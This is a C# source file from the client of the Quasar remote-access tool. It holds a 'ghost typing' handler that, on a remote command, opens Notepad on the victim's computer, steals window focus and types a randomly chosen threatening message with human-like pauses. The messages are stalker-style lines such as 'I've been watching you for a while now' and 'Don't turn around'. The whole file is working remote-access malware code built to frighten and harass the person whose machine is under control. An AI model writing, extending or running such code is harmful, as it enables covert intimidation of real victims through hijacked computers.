using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class GhostTypingHandler : IMessageProcessor
    {
        [DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd);
        [DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
        [DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
        [DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);

        private const int SW_RESTORE = 9;
        private const uint KEYEVENTF_KEYUP = 0x0002;
        private const byte VK_SHIFT = 0x10;

        private static readonly string[] Messages =
        {
            "I know you can hear me.",
            "Stop pretending you're alone.",
            "I've been watching you for a while now.",
            "Did you hear that? No? You will.",
            "You should close the curtains.",
            "I'm closer than you think.",
            "Did you check under the bed?",
            "Someone was in your room last night.",
            "Don't turn around.",
            "I can see your face right now.",
            "You really should lock your doors.",
            "Have you noticed anything missing lately?",
            "The calls are coming from inside the house.",
            "I'll be there soon. Don't worry.",
            "We've been here the whole time.",
        };

        public bool CanExecute(IMessage message) => message is DoGhostTyping;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            new Thread(Run) { IsBackground = true }.Start();
        }

        private static void TypeChar(char c)
        {
            short vk = VkKeyScan(c);
            if (vk == -1) return;

            byte key = (byte)(vk & 0xFF);
            bool shift = ((vk >> 8) & 1) != 0;

            if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
            keybd_event(key, 0, 0, 0);
            keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
            if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
        }

        private static void Run()
        {
            try
            {
                var rng = new Random();
                string text = Messages[rng.Next(Messages.Length)];

                var proc = Process.Start("notepad.exe");
                if (proc == null) return;

                // wait for window handle
                IntPtr hwnd = IntPtr.Zero;
                for (int i = 0; i < 40; i++)
                {
                    Thread.Sleep(200);
                    proc.Refresh();
                    if (proc.MainWindowHandle != IntPtr.Zero)
                    {
                        hwnd = proc.MainWindowHandle;
                        break;
                    }
                }

                if (hwnd == IntPtr.Zero) return;

                ShowWindow(hwnd, SW_RESTORE);

                // keep trying to focus until it actually has it
                for (int i = 0; i < 20; i++)
                {
                    SetForegroundWindow(hwnd);
                    Thread.Sleep(100);
                    if (GetForegroundWindow() == hwnd) break;
                }

                Thread.Sleep(rng.Next(1200, 2500));

                foreach (char c in text)
                {
                    if (GetForegroundWindow() != hwnd)
                        SetForegroundWindow(hwnd);

                    TypeChar(c);
                    Thread.Sleep(rng.Next(80, 200));

                    if (rng.Next(8) == 0)
                        Thread.Sleep(rng.Next(400, 900));
                }
            }
            catch { }
        }
    }
}
